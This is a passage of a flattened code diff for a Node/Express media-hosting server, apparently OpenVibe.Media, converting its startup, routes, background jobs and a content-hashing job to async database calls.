/^(::1|::ffff:127\.|127\.)/.test(String(req.socket.remoteAddress || ''));-- if (viaProxy || !local || want.length < 16 || got.length !== want.length || !crypto.timingSafeEqual(Buffer.from(got), Buffer.from(want))) return res.status(404).json({ error: 'Not found' });++ // ── Visitor sign-in (OAuth client `media` on the Network; same module as Community/Tools) ──++ // Host-only cookies on openvibe.media. No new dependency: cookies are parsed here.++ app.use((req, _res, next) => {++ req.cookies = {};++ for (const part of String(req.headers.cookie || '').split(';')) {++ const i = part.indexOf('='); if (i < 1) continue;++ try { req.cookies[part.slice(0, i).trim()] = decodeURIComponent(part.slice(i + 1).trim()); } catch { /* malformed value */ }++ }next();-- };-- const pastes = require('./pastes/routes');-- app.post('/internal/avatar-ingest', internalOnly, require('./avatars/ingest').createIngestHandler({ db: require('./db/database'), config, screenshotsDir: pastes.SCREENSHOTS_DIR, generateSlug: pastes.generateSlug }));--}--const userAuth = require('./user-auth');--const userAuthConfig = {-- baseUrl: config.publicUrl, networkUrl: config.network.url, networkInternalUrl: config.network.internalUrl,-- cookies: { secure: /^https:/.test(config.publicUrl) },-- oauth: { clientId: process.env.OV_OAUTH_CLIENT_ID || 'media', clientSecret: process.env.OV_OAUTH_CLIENT_SECRET || '', redirectUri: process.env.OV_OAUTH_REDIRECT_URI || `${config.publicUrl}/auth/callback` },--};--// A restore drill signs nobody in: that would redeem codes at Network.--if (drill.enabled) app.use('/auth', (req, res) => res.status(503).json({ error: 'This is a restore-drill instance (MEDIA_DRILL): no sign-in', code: 'media.drill_no_sign_in' }));--const userAuthClient = userAuth.createAuthClient(userAuthConfig);--app.use('/auth', userAuth.createAuthRoutes(userAuthConfig, userAuthClient));--app.use(express.urlencoded({ extended: true, limit: '2mb' }));----// CORS preflight for tenant API routes (per-app allow-list; auth-less OPTIONS).--app.options(['/api/v1/:app/*', '/api/v2/:app/*'], (req, res) => {-- const origin = req.headers.origin;-- const appRow = db.getApp(String(req.params.app || ''));-- if (origin && appRow && db.appAllowedOrigins(appRow).includes(origin)) {-- res.set('Access-Control-Allow-Origin', origin);-- res.set('Vary', 'Origin');-- res.set('Access-Control-Allow-Headers', 'Authorization, Content-Type, X-Upload-Token, X-Content-SHA256, Idempotency-Key, traceparent, X-OpenVibe-Request-Id');-- res.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS');++ });++ { const legal = require('openvibe-shared/legal'); app.get(legal.PATHS, legal.handler({ id: 'media', service: 'media', host: 'openvibe.media', name: 'OpenVibe.Media', profile: 'hosting' })); app.get('/tos', (_req, res) => res.redirect(301, '/terms')); }++ // Brand assets: icon set + web app manifest generated by openvibe-shared/scripts/build-app-icons.js++ // This site's own pinned copy of the OpenVibe Frame's browser files (openvibe-shared/serve).++ app.use('/shared', require('openvibe-shared/serve').handler());++ app.use('/assets', express.static(require('path').join(__dirname, 'brand'), { maxAge: '7d' }));++ app.get('/manifest.webmanifest', (_req, res) => res.type('application/manifest+json').sendFile(require('path').join(__dirname, 'brand', 'manifest.webmanifest')));++ // ── Internal: avatar ingestion (the Network asks; see server/avatars/ingest.js) ──++ {++ const crypto = require('crypto');++ const internalOnly = (req, res, next) => {++ const want = String(config.network.internalApiKey || ''), got = String(req.headers['x-internal-key'] || '');++ const viaProxy = req.headers['x-forwarded-for'] || req.headers['x-real-ip'] || req.headers['cf-connecting-ip'];++ const local = /^(::1|::ffff:127\.|127\.)/.test(String(req.socket.remoteAddress || ''));++ if (viaProxy || !local || want.length < 16 || got.length !== want.length || !crypto.timingSafeEqual(Buffer.from(got), Buffer.from(want))) return res.status(404).json({ error: 'Not found' });++ next();++ };++ const pastes = require('./pastes/routes');++ app.post('/internal/avatar-ingest', internalOnly, require('./avatars/ingest').createIngestHandler({ db: require('./db/database'), config, screenshotsDir: pastes.SCREENSHOTS_DIR, generateSlug: pastes.generateSlug }));}-- res.sendStatus(204);--});++ const userAuth = require('./user-auth');++ const userAuthConfig = {++ baseUrl: config.publicUrl, networkUrl: config.network.url, networkInternalUrl: config.network.internalUrl,++ cookies: { secure: /^https:/.test(config.publicUrl) },++ oauth: { clientId: process.env.OV_OAUTH_CLIENT_ID || 'media', clientSecret: process.env.OV_OAUTH_CLIENT_SECRET || '', redirectUri: process.env.OV_OAUTH_REDIRECT_URI || `${config.publicUrl}/auth/callback` },++ };++ // A restore drill signs nobody in: that would redeem codes at Network.++ if (drill.enabled) app.use('/auth', (req, res) => res.status(503).json({ error: 'This is a restore-drill instance (MEDIA_DRILL): no sign-in', code: 'media.drill_no_sign_in' }));++ const userAuthClient = userAuth.createAuthClient(userAuthConfig);++ app.use('/auth', userAuth.createAuthRoutes(userAuthConfig, userAuthClient));++ app.use(express.urlencoded({ extended: true, limit: '2mb' }));--// ── Routes ───────────────────────────────────────────────────++ // CORS preflight for tenant API routes (per-app allow-list; auth-less OPTIONS).++ app.options(['/api/v1/:app/*', '/api/v2/:app/*'], async (req, res) => {++ const origin = req.headers.origin;++ const appRow = await db.getApp(String(req.params.app || ''));++ if (origin && appRow && db.appAllowedOrigins(appRow).includes(origin)) {++ res.set('Access-Control-Allow-Origin', origin);++ res.set('Vary', 'Origin');++ res.set('Access-Control-Allow-Headers', 'Authorization, Content-Type, X-Upload-Token, X-Content-SHA256, Idempotency-Key, traceparent, X-OpenVibe-Request-Id');++ res.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS');++ }++ res.sendStatus(204);++ });--// What this server runs (ADR-016); the shared navbar's release-watch polls it. POST /release-metrics--// takes open tabs' update reports into /metrics (release_client_updates_total). A restore drill--// answers that POST with the readOnly 403 above, like every other write.--release.mount(app, { registry: instrumented.registry });--// GET /limits.json: the developer limits enforced here, from config (WS-N task 7; Codes renders them).--require('./limits').mountLimits(app, config);++ // ── Routes ───────────────────────────────────────────────────--app.get('/healthz', (req, res) => {-- res.json({-- ok: true,-- service: 'openvibe-media',-- apps: db.listApps().length,-- recordings: require('./vod/recorder').activeCount(),-- uptime_s: Math.round(process.uptime()),-- });--});++ // What this server runs (ADR-016); the shared navbar's release-watch polls it. POST /release-metrics++ // takes open tabs' update reports into /metrics (release_client_updates_total). A restore drill++ // answers that POST with the readOnly 403 above, like every other write.++ release.mount(app, { registry: instrumented.registry });++ // GET /limits.json: the developer limits enforced here, from config (WS-N task 7; Codes renders them).++ require('./limits').mountLimits(app, config);--// Readiness: required = database + writable storage; optional (degraded) = Network key, remote tiers, events outbox.--{-- const vodStorageForReady = require('./vod/vod-storage');-- observability.mountReady(app, instrumented.registry, {-- release: release.release, db, config, auth,-- recorder: require('./vod/recorder'),-- events: require('./events'),-- remote: { configured: (n) => vodStorageForReady.providerConfigured(n), probe: (n) => vodStorageForReady.probeProvider(n) },-- drill: drill.enabled,++ app.get('/healthz', async (req, res) => {++ res.json({++ ok: true,++ service: 'openvibe-media',++ apps: (await db.listApps()).length,++ recordings: require('./vod/recorder').activeCount(),++ uptime_s: Math.round(process.uptime()),++ });});--}--// Per-app media stats (app-key only) — hero/dashboard counters in the owning app.--app.get('/api/v1/:app/stats', auth.tenantAuth(), (req, res) => {-- try {-- res.json(db.getAppStats(req.appId));-- } catch (err) {-- console.error('[Stats] error:', err.message);-- res.status(500).json({ error: 'Failed to compute stats' });-- }--});----// Daily series behind a stat (vods, clips, pastes, hours) — "over time" charts in the owning app.--app.get('/api/v1/:app/stats/series/:metric', auth.tenantAuth(), (req, res) => {-- try {-- const series = db.getAppStatSeries(req.appId, String(req.params.metric), req.query.days);-- if (!series) return res.status(404).json({ error: 'Unknown metric' });-- res.json(series);-- } catch (err) {-- console.error('[Stats] series error:', err.message);-- res.status(500).json({ error: 'Failed to compute series' });++ // Readiness: required = database + writable storage; optional (degraded) = Network key, remote tiers, events outbox.++ {++ const vodStorageForReady = require('./vod/vod-storage');++ observability.mountReady(app, instrumented.registry, {++ release: release.release, db, config, auth,++ recorder: require('./vod/recorder'),++ events: require('./events'),++ remote: { configured: (n) => vodStorageForReady.providerConfigured(n), probe: async (n) => await vodStorageForReady.probeProvider(n) },++ drill: drill.enabled,++ });}--});----try { require('./views/service').ensureSchema(); } catch (e) { console.warn('[Views] schema:', e.message); }--if (!drill.enabled) setInterval(() => { try { const n = require('./views/service').prune(30); if (n) console.log(`[Views] pruned ${n} stale visit row(s)`); } catch { /* */ } }, 12 * 3600 * 1000);--// The object explorer (WS-G task 12): a signed-in person's own objects and usage, and the operator views--// (server/me/routes.js). /api/v2/me sits ahead of /api/v2/:app/…, so "me" is never a tenant there.--const me = require('./me/routes').createMeRoutes({ auth: userAuthClient });--app.use('/api/v2/me', me.api);--app.use('/me', me.pages);--app.use('/api/v1/:app/views', require('./views/routes'));--app.use('/api/v1/:app/vods', require('./vod/routes'));--app.use('/api/v1/:app/clips', require('./vod/clips-routes'));--app.use('/api/v1/:app/pastes', require('./pastes/routes'));--app.use('/api/v1/:app/files', require('./files/routes'));--app.use('/api/v1/:app/thumbnails', require('./thumbnails/routes'));--app.use('/api/v1/:app/assets', require('./assets/routes'));--app.use('/api/v1/:app/admin/storage', require('./admin/routes'));--app.use('/api/v2/:app/objects', require('./objects/routes')); // canonical object API (docs/object-model.md)--app.use('/api/v2/:app/jobs', require('./jobs/routes')); // media jobs: thumbnails, split/remux, invariant scans--app.use('/api/v2/:app/namespaces', require('./objects/namespace-routes')); // a tenant's namespaces: policy, quotas, usage--app.use('/o', require('./objects/routes').publicRouter); // object bytes (public, or signed)--app.use('/', require('./public/routes')); // /v /c /p /t /f--app.use(require('./not-found').notFound); // nothing matched: 404 with Media's CSP (Cloudflare's beacon allowed)--// eslint-disable-next-line no-unused-vars--app.use((err, req, res, next) => {-- console.error('[HTTP] Unhandled error:', err.message);-- if (!res.headersSent) res.status(err.status || 500).json({ error: err.message || 'Internal error' });--});----// ── Background jobs ──────────────────────────────────────────----const recorder = require('./vod/recorder');--const vodStorage = require('./vod/vod-storage');--const healthJob = require('./vod/health-job');--const thumbService = require('./thumbnails/thumbnail-service');----const timers = [];--function every(ms, fn) {-- const t = setInterval(fn, ms);-- if (t.unref) t.unref();-- timers.push(t);--}----// A restore drill starts none of this: every job below reads or writes stored files, runs ffmpeg,--// talks to B2/R2 or announces outcomes to Live.--if (!drill.enabled) {-- vodStorage.checkProviders()-- .then(() => vodStorage.migrateLegacy().catch(() => {}))-- .catch(err => console.warn('[Boot] Provider check failed:', err.message));-- vodStorage.start(); // tiering sweep-- healthJob.start(); // health scan + quarantine cleanup-- require('./vod/clip-jobs').start(); // failed clip re-cuts (auto-retry, hot-fetch)-- require('./objects/verify-job').start(); // scheduled copy verification (bounded batches; never deletes)-- require('./jobs/worker').start(); // media_jobs worker (light + heavy lanes; proposals wait for their owner)-- require('./objects/owner-subject-job').start(); // owner_subject for objects that name only an app-local owner (asks Network)-- // Descriptor watchdog: a leak here once pinned 80 GB of deleted recordings to the disk.-- every(5 * 60 * 1000, () => {-- try {-- const n = fs.readdirSync('/proc/self/fd').length;-- if (n > 1500) console.warn(`[Boot] ${n} open file descriptors — investigate a stream/handle leak (lsof -p ${process.pid} +L1)`);-- } catch { /* not linux */ }-- });-- every(60 * 1000, () => recorder.checkDisk()); // disk guardian-- every(60 * 60 * 1000, () => thumbService.cleanupOldThumbnails()); // stale live thumbs-- // Object model: purge native objects whose soft-delete retention has passed (held ones are kept).-- every(60 * 60 * 1000, () => {-- try { const n = require('./objects/model').purgeExpired(); if (n) console.log(`[Objects] Purged ${n} expired deleted object(s)`); } catch (err) { console.warn('[Objects] purge:', err.message); }-- // Incomplete multipart uploads past MEDIA_MULTIPART_TTL_HOURS: their parts are deleted (the objects stay uploading).-- try { const r = require('./objects/multipart').purgeExpired(); if (r.expired || r.orphan_dirs) console.log(`[Objects] Multipart: ${r.expired} expired session(s), ${r.orphan_dirs} orphan part dir(s) removed`); } catch (err) { console.warn('[Objects] multipart purge:', err.message); }-- // Native objects' popularity (ADR-021): a finished UTC day's viewer hashes and salt are deleted, only its counts stay (30 days).-- try { const r = require('./objects/popularity').rotate(); if (r.hashes || r.salts || r.counts) console.log(`[Popularity] ${r.hashes} viewer hash(es) and ${r.salts} salt(s) of finished days deleted, ${r.counts} old daily count(s) pruned`); } catch (err) { console.warn('[Popularity] rotate:', err.message); }-- // Namespaces: uploads whose quota reservation expired are failed and their bytes freed; then every-- // namespace's usage snapshot is refreshed (v1 files, deletes and purges included).++ // Per-app media stats (app-key only) — hero/dashboard counters in the owning app.++ app.get('/api/v1/:app/stats', auth.tenantAuth(), async (req, res) => {try {-- const ns = require('./objects/namespaces');-- const r = ns.expireReservations();-- if (r.expired || r.dropped) console.log(`[Namespaces] ${r.expired} abandoned upload(s) expired, ${r.dropped} stale reservation(s) dropped`);-- ns.reconcileAll();-- } catch (err) { console.warn('[Namespaces] sweep:', err.message); }++ res.json(await db.getAppStats(req.appId));++ } catch (err) {++ console.error('[Stats] error:', err.message);++ res.status(500).json({ error: 'Failed to compute stats' });++ }});-- // Project rows that have no media_object yet (first boot after the upgrade: all of them).-- // C-75 catch-up: every write now makes its object in the same transaction (objects/model.js-- // withObject, WS-G task 1), so this should find nothing. It stays until a release has run with-- // `node scripts/object-drift-report.js` showing zero drift; then it goes, with the finalize-- // follow-up re-projection (vod/finalize.js), in a dated later step.-- setTimeout(() => {-- try {-- const bf = require('./objects/backfill');-- const r = bf.backfill({ onlyMissing: true });-- if (r.totals.created || r.totals.updated || r.errors.length) console.log(`[Objects] Backfill: ${bf.summarize(r)}`);-- } catch (err) { console.warn('[Objects] Backfill failed:', err.message); }-- // The namespaces' usage snapshot, first taken here (then hourly, and after each write).-- try { require('./objects/namespaces').reconcileAll(); } catch (err) { console.warn('[Namespaces] reconcile:', err.message); }-- }, 15 * 1000).unref?.();-- // Recover from an unclean shutdown: rows stuck in is_recording with no live ffmpeg are finalized-- // from whatever hit the disk. With the job worker on, its orphan sweep queues a vod.finalize job-- // for each (retried with backoff; server/jobs/vod-finalize.js); without it, once, here.-- if (!config.jobs.enabled) setTimeout(() => {++ // Daily series behind a stat (vods, clips, pastes, hours) — "over time" charts in the owning app.++ app.get('/api/v1/:app/stats/series/:metric', auth.tenantAuth(), async (req, res) => {try {-- const stuck = db.all('SELECT id FROM vods WHERE is_recording = 1');-- for (const row of stuck) {-- if (recorder.isRecording(row.id)) continue;-- console.log(`[Boot] Finalizing orphaned recording vod ${row.id}`);-- require('./vod/finalize').finalizeVod(row.id).catch(() => {});-- }++ const series = await db.getAppStatSeries(req.appId, String(req.params.metric), req.query.days);++ if (!series) return res.status(404).json({ error: 'Unknown metric' });++ res.json(series);} catch (err) {-- console.warn('[Boot] Orphan finalize sweep failed:', err.message);++ console.error('[Stats] series error:', err.message);++ res.status(500).json({ error: 'Failed to compute series' });}-- }, 5000).unref?.();--}++ });--// ── Listen + graceful shutdown ───────────────────────────────++ if (!drill.enabled) setInterval(async () => { try { const n = await require('./views/service').prune(30); if (n) console.log(`[Views] pruned ${n} stale visit row(s)`); } catch { /* */ } }, 12 * 3600 * 1000);++ // The object explorer (WS-G task 12): a signed-in person's own objects and usage, and the operator views++ // (server/me/routes.js). /api/v2/me sits ahead of /api/v2/:app/…, so "me" is never a tenant there.++ const me = require('./me/routes').createMeRoutes({ auth: userAuthClient });++ app.use('/api/v2/me', me.api);++ app.use('/me', me.pages);++ app.use('/api/v1/:app/views', require('./views/routes'));++ app.use('/api/v1/:app/vods', require('./vod/routes'));++ app.use('/api/v1/:app/clips', require('./vod/clips-routes'));++ app.use('/api/v1/:app/pastes', require('./pastes/routes'));++ app.use('/api/v1/:app/files', require('./files/routes'));++ app.use('/api/v1/:app/thumbnails', require('./thumbnails/routes'));++ app.use('/api/v1/:app/assets', require('./assets/routes'));++ app.use('/api/v1/:app/admin/storage', require('./admin/routes'));++ app.use('/api/v2/:app/objects', require('./objects/routes')); // canonical object API (docs/object-model.md)++ app.use('/api/v2/:app/jobs', require('./jobs/routes')); // media jobs: thumbnails, split/remux, invariant scans++ app.use('/api/v2/:app/namespaces', require('./objects/namespace-routes')); // a tenant's namespaces: policy, quotas, usage++ app.use('/o', require('./objects/routes').publicRouter); // object bytes (public, or signed)++ app.use('/', require('./public/routes')); // /v /c /p /t /f++ app.use(require('./not-found').notFound); // nothing matched: 404 with Media's CSP (Cloudflare's beacon allowed)++++ // eslint-disable-next-line no-unused-vars++ app.use((err, req, res, next) => {++ console.error('[HTTP] Unhandled error:', err.message);++ if (!res.headersSent) res.status(err.status || 500).json({ error: err.message || 'Internal error' });++ });--const server = app.listen(config.port, config.host, () => {-- // Subscribe to Network's sign-out-everywhere cutoffs (not on a restore drill; retried a few times).++ // ── Background jobs ──────────────────────────────────────────++++ const recorder = require('./vod/recorder');++ const vodStorage = require('./vod/vod-storage');++ const healthJob = require('./vod/health-job');++ const thumbService = require('./thumbnails/thumbnail-service');++++ const timers = [];++ function every(ms, fn) {++ const t = setInterval(fn, ms);++ if (t.unref) t.unref();++ timers.push(t);++ }++++ // A restore drill starts none of this: every job below reads or writes stored files, runs ffmpeg,++ // talks to B2/R2 or announces outcomes to Live.if (!drill.enabled) {-- const subscribe = (n) => require('./revocations').ensureSubscription().catch((e) => {-- console.warn('[Events] token cutoff subscription not ready:', e.message);-- if (n < 5) setTimeout(() => subscribe(n + 1), 60_000 * n).unref();++ vodStorage.checkProviders()++ .then(() => vodStorage.migrateLegacy().catch(() => {}))++ .catch(err => console.warn('[Boot] Provider check failed:', err.message));++ vodStorage.start(); // tiering sweep++ healthJob.start().catch((err) => console.warn('[VOD] health job did not start:', err.message)); // health scan + quarantine cleanup++ require('./vod/clip-jobs').start().catch((err) => console.warn('[Clips] re-cut job did not start:', err.message)); // failed clip re-cuts (auto-retry, hot-fetch)++ require('./objects/verify-job').start(); // scheduled copy verification (bounded batches; never deletes)++ require('./jobs/worker').start().catch((err) => console.warn('[Jobs] worker did not start:', err.message)); // media_jobs worker (light + heavy lanes; proposals wait for their owner)++ require('./objects/owner-subject-job').start(); // owner_subject for objects that name only an app-local owner (asks Network)++ // Descriptor watchdog: a leak here once pinned 80 GB of deleted recordings to the disk.++ every(5 * 60 * 1000, () => {++ try {++ const n = fs.readdirSync('/proc/self/fd').length;++ if (n > 1500) console.warn(`[Boot] ${n} open file descriptors — investigate a stream/handle leak (lsof -p ${process.pid} +L1)`);++ } catch { /* not linux */ }});-- subscribe(1);++ every(60 * 1000, () => recorder.checkDisk()); // disk guardian++ every(60 * 60 * 1000, () => thumbService.cleanupOldThumbnails()); // stale live thumbs++ // Object model: purge native objects whose soft-delete retention has passed (held ones are kept).++ every(60 * 60 * 1000, async () => {++ try { const n = await require('./objects/model').purgeExpired(); if (n) console.log(`[Objects] Purged ${n} expired deleted object(s)`); } catch (err) { console.warn('[Objects] purge:', err.message); }++ // Incomplete multipart uploads past MEDIA_MULTIPART_TTL_HOURS: their parts are deleted (the objects stay uploading).++ try { const r = await require('./objects/multipart').purgeExpired(); if (r.expired || r.orphan_dirs) console.log(`[Objects] Multipart: ${r.expired} expired session(s), ${r.orphan_dirs} orphan part dir(s) removed`); } catch (err) { console.warn('[Objects] multipart purge:', err.message); }++ // Native objects' popularity (ADR-021): a finished UTC day's viewer hashes and salt are deleted, only its counts stay (30 days).++ try { const r = await require('./objects/popularity').rotate(); if (r.hashes || r.salts || r.counts) console.log(`[Popularity] ${r.hashes} viewer hash(es) and ${r.salts} salt(s) of finished days deleted, ${r.counts} old daily count(s) pruned`); } catch (err) { console.warn('[Popularity] rotate:', err.message); }++ // Namespaces: uploads whose quota reservation expired are failed and their bytes freed; then every++ // namespace's usage snapshot is refreshed (v1 files, deletes and purges included).++ try {++ const ns = require('./objects/namespaces');++ const r = await ns.expireReservations();++ if (r.expired || r.dropped) console.log(`[Namespaces] ${r.expired} abandoned upload(s) expired, ${r.dropped} stale reservation(s) dropped`);++ await ns.reconcileAll();++ } catch (err) { console.warn('[Namespaces] sweep:', err.message); }++ });++ // Project rows that have no media_object yet (first boot after the upgrade: all of them).++ // C-75 catch-up: every write now makes its object in the same transaction (objects/model.js++ // withObject, WS-G task 1), so this should find nothing. It stays until a release has run with++ // `node scripts/object-drift-report.js` showing zero drift; then it goes, with the finalize++ // follow-up re-projection (vod/finalize.js), in a dated later step.++ setTimeout(async () => {++ try {++ const bf = require('./objects/backfill');++ const r = await bf.backfill({ onlyMissing: true });++ if (r.totals.created || r.totals.updated || r.errors.length) console.log(`[Objects] Backfill: ${bf.summarize(r)}`);++ } catch (err) { console.warn('[Objects] Backfill failed:', err.message); }++ // The namespaces' usage snapshot, first taken here (then hourly, and after each write).++ try { await require('./objects/namespaces').reconcileAll(); } catch (err) { console.warn('[Namespaces] reconcile:', err.message); }++ }, 15 * 1000).unref?.();++++ // Recover from an unclean shutdown: rows stuck in is_recording with no live ffmpeg are finalized++ // from whatever hit the disk. With the job worker on, its orphan sweep queues a vod.finalize job++ // for each (retried with backoff; server/jobs/vod-finalize.js); without it, once, here.++ if (!config.jobs.enabled) setTimeout(async () => {++ try {++ const stuck = await db.all('SELECT id FROM vods WHERE is_recording = 1');++ for (const row of stuck) {++ if (recorder.isRecording(row.id)) continue;++ console.log(`[Boot] Finalizing orphaned recording vod ${row.id}`);++ require('./vod/finalize').finalizeVod(row.id).catch(() => {});++ }++ } catch (err) {++ console.warn('[Boot] Orphan finalize sweep failed:', err.message);++ }++ }, 5000).unref?.();}-- if (drill.enabled) { console.log(`[Drill] Ready: http://${config.host}:${config.port} (reads only)`); return; }-- console.log(`[Media] OpenVibe.Media listening on ${config.host}:${config.port} (${config.nodeEnv})`);-- console.log(`[Media] Data: db=${config.db.path} vods=${config.vod.path} clips=${config.vod.clipsPath}`);-- console.log(`[Media] RTP ingest pool: udp ${config.rtp.portMin}-${config.rtp.portMax} (127.0.0.1)`);-- // Durable events (roadmap Wave 3): webhook outcomes also go to OpenVibe.Events. Off without EVENTS_URL.-- try { require('./events').init(); } catch (err) { console.warn('[Events] not started:', err.message); }-- // Media's own watch pages in OpenVibe.Search (WS-O task 10): media.index_document.* through the same outbox.-- try { require('./public/search-documents').start(); } catch (err) { console.warn('[Search] documents not started:', err.message); }--});--// A drill whose port is taken stops instead of running unready.--if (drill.enabled) server.once('error', (err) => { console.error(`[Drill] HTTP server: ${err.message}`); process.exit(1); });++ // ── Listen + graceful shutdown ───────────────────────────────--let shuttingDown = false;--function shutdown(signal) {-- if (shuttingDown) return;-- shuttingDown = true;-- console.log(`[Media] ${signal} received — shutting down`);-- try { recorder.stopAll(); } catch { /* */ }-- try { vodStorage.stop(); } catch { /* */ }-- try { healthJob.stop(); } catch { /* */ }-- try { require('./objects/verify-job').stop(); } catch { /* */ }-- try { require('./jobs/worker').stop(); } catch { /* */ }-- try { require('./objects/owner-subject-job').stop(); } catch { /* */ }-- try { auth.stopJwksRefresh(); } catch { /* */ }-- try { require('./events')._reset(); } catch { /* */ }-- for (const t of timers) clearInterval(t);-- server.close(() => {-- try { db.close(); } catch { /* */ }-- process.exit(0);++ const server = app.listen(config.port, config.host, () => {++ // Subscribe to Network's sign-out-everywhere cutoffs (not on a restore drill; retried a few times).++ if (!drill.enabled) {++ const subscribe = (n) => require('./revocations').ensureSubscription().catch((e) => {++ console.warn('[Events] token cutoff subscription not ready:', e.message);++ if (n < 5) setTimeout(() => subscribe(n + 1), 60_000 * n).unref();++ });++ subscribe(1);++ }++ if (drill.enabled) { console.log(`[Drill] Ready: http://${config.host}:${config.port} (reads only)`); return; }++ console.log(`[Media] OpenVibe.Media listening on ${config.host}:${config.port} (${config.nodeEnv})`);++ console.log(`[Media] Data: db=${config.db.path} vods=${config.vod.path} clips=${config.vod.clipsPath}`);++ console.log(`[Media] RTP ingest pool: udp ${config.rtp.portMin}-${config.rtp.portMax} (127.0.0.1)`);++ // Durable events (roadmap Wave 3): webhook outcomes also go to OpenVibe.Events. Off without EVENTS_URL.++ try { require('./events').init(); } catch (err) { console.warn('[Events] not started:', err.message); }++ // Media's own watch pages in OpenVibe.Search (WS-O task 10): media.index_document.* through the same outbox.++ require('./public/search-documents').start().catch((err) => console.warn('[Search] documents not started:', err.message));});-- // Recordings get STOP_GRACE_MS to flush trailers; don't hang forever.-- setTimeout(() => {-- console.warn('[Media] Forced exit after shutdown grace');-- try { db.close(); } catch { /* */ }-- process.exit(0);-- }, 70_000).unref();--}--process.on('SIGINT', () => shutdown('SIGINT'));--process.on('SIGTERM', () => shutdown('SIGTERM'));--module.exports = { app, server };++ // A drill whose port is taken stops instead of running unready.++ if (drill.enabled) server.once('error', (err) => { console.error(`[Drill] HTTP server: ${err.message}`); process.exit(1); });++++ let shuttingDown = false;++ function shutdown(signal) {++ if (shuttingDown) return;++ shuttingDown = true;++ console.log(`[Media] ${signal} received — shutting down`);++ try { recorder.stopAll(); } catch { /* */ }++ try { vodStorage.stop(); } catch { /* */ }++ try { healthJob.stop(); } catch { /* */ }++ try { require('./objects/verify-job').stop(); } catch { /* */ }++ try { require('./jobs/worker').stop(); } catch { /* */ }++ try { require('./objects/owner-subject-job').stop(); } catch { /* */ }++ try { auth.stopJwksRefresh(); } catch { /* */ }++ try { require('./events')._reset(); } catch { /* */ }++ try { const v = require('./actor-limits').valkey(); if (v) v.close().catch(() => {}); } catch { /* */ }++ for (const t of timers) clearInterval(t);++ server.close(() => {++ db.close().catch(() => {}).finally(() => process.exit(0));++ });++ // Recordings get STOP_GRACE_MS to flush trailers; don't hang forever.++ setTimeout(() => {++ console.warn('[Media] Forced exit after shutdown grace');++ db.close().catch(() => {}).finally(() => process.exit(0));++ }, 70_000).unref();++ }++ process.on('SIGINT', () => shutdown('SIGINT'));++ process.on('SIGTERM', () => shutdown('SIGTERM'));++ return { app, server };++})();++ready.catch((err) => {++ console.error('[Media] failed to start:', err);++ process.exit(1);++});++++module.exports = { ready };@@@ -55,8 +55,8 @@ const CANDIDATES = `SELECT o.id, o.size_bytes, l.id AS loc_id, l.key AS loc_keyFROM media_objects o JOIN media_locations l ON l.object_id = o.id AND l.provider = 'local' AND l.state = 'present'WHERE o.lifecycle_status = 'ready' AND o.content_hash IS NULL`;--function remaining(appId) {-- return db.get(`SELECT COUNT(*) AS n FROM (${CANDIDATES} AND o.app_id = ?)`, [appId]).n;++async function remaining(appId) {++ return (await db.get(`SELECT COUNT(*) AS n FROM (${CANDIDATES} AND o.app_id = ?)`, [appId])).n;}function validate({ obj, params }) {@@@ -74,20 +74,20 @@ function validate({ obj, params }) {}/** Record one hash, only if nothing changed since the file was read. Returns true when written. */--function record(c, hash, st) {++async function record(c, hash, st) {let wrote = false;-- db.getDb().transaction(() => {-- const o = db.get('SELECT content_hash, metadata, lifecycle_status FROM media_objects WHERE id = ?', [c.id]);-- const l = db.get('SELECT key, state FROM media_locations WHERE id = ?', [c.loc_id]);++ await db.getDb().tx(async () => {++ const o = await db.get('SELECT content_hash, metadata, lifecycle_status FROM media_objects WHERE id = ?', [c.id]);++ const l = await db.get('SELECT key, state FROM media_locations WHERE id = ?', [c.loc_id]);if (!o || o.content_hash || o.lifecycle_status !== 'ready' || !l || l.key !== c.loc_key || l.state !== 'present') return;let md = {};try { md = JSON.parse(o.metadata || '{}') || {}; } catch { md = {}; }md.hash_basis = { key: c.loc_key, size: st.size, at: new Date().toISOString() };-- db.run('UPDATE media_objects SET content_hash = ?, metadata = ?, updated_at = CURRENT_TIMESTAMP WHERE id = ? AND content_hash IS NULL', [hash, JSON.stringify(md), c.id]);-- db.run(`UPDATE media_locations SET checksum = ?, size_bytes = ?, verified_at = CURRENT_TIMESTAMP, updated_at = CURRENT_TIMESTAMP++ await db.run('UPDATE media_objects SET content_hash = ?, metadata = ?, updated_at = ov_now() WHERE id = ? AND content_hash IS NULL', [hash, JSON.stringify(md), c.id]);++ await db.run(`UPDATE media_locations SET checksum = ?, size_bytes = ?, verified_at = ov_now(), updated_at = ov_now()WHERE id = ? AND key = ?`, [hash, st.size, c.loc_id, c.loc_key]);wrote = true;-- })();++ });return wrote;}@@@ -96,8 +96,8 @@ async function hashBatch({ appId, objectId = null, limit = 50, budgetMb = settinconst s = settings();const budget = budgetMb * MB;const rows = objectId-- ? db.all(`${CANDIDATES} AND o.id = ? AND o.app_id = ?`, [objectId, appId])-- : db.all(`${CANDIDATES} AND o.app_id = ? ORDER BY o.id LIMIT ?`, [appId, limit]);++ ? await db.all(`${CANDIDATES} AND o.id = ? AND o.app_id = ?`, [objectId, appId])++ : await db.all(`${CANDIDATES} AND o.app_id = ? ORDER BY o.id LIMIT ?`, [appId, limit]);const out = { hashed: 0, bytes: 0, skipped: {}, remaining: 0 };const skip = (why) => { out.skipped[why] = (out.skipped[why] || 0) + 1; };for (const c of rows) {@@@ -115,26 +115,26 @@ async function hashBatch({ appId, objectId = null, limit = 50, budgetMb = settintry { after = fs.statSync(c.loc_key); } catch { skip('file_missing'); continue; }if (after.size !== st.size || after.mtimeMs !== st.mtimeMs) { skip('changed_while_reading'); continue; }out.bytes += st.size;-- if (record(c, hash, st)) out.hashed++; else skip('changed_in_database');++ if (await record(c, hash, st)) out.hashed++; else skip('changed_in_database');}-- out.remaining = remaining(appId);++ out.remaining = await remaining(appId);return out;}async function run(job, ctx = {}) {const p = validate({ obj: null, params: job.params });-- return hashBatch({ appId: job.app_id, objectId: job.object_id || null, limit: p.limit, budgetMb: p.budget_mb || settings().budgetMb, signal: ctx.signal });++ return await hashBatch({ appId: job.app_id, objectId: job.object_id || null, limit: p.limit, budgetMb: p.budget_mb || settings().budgetMb, signal: ctx.signal });}/** Queue one batch per tenant that has unhashed local copies, every MEDIA_HASH_INTERVAL_MIN. */--function schedule(nowMs = Date.now()) {++async function schedule(nowMs = Date.now()) {const minutes = settings().intervalMin;if (!(minutes > 0)) return 0;const period = Math.floor(nowMs / (minutes * 60 * 1000));let n = 0;-- for 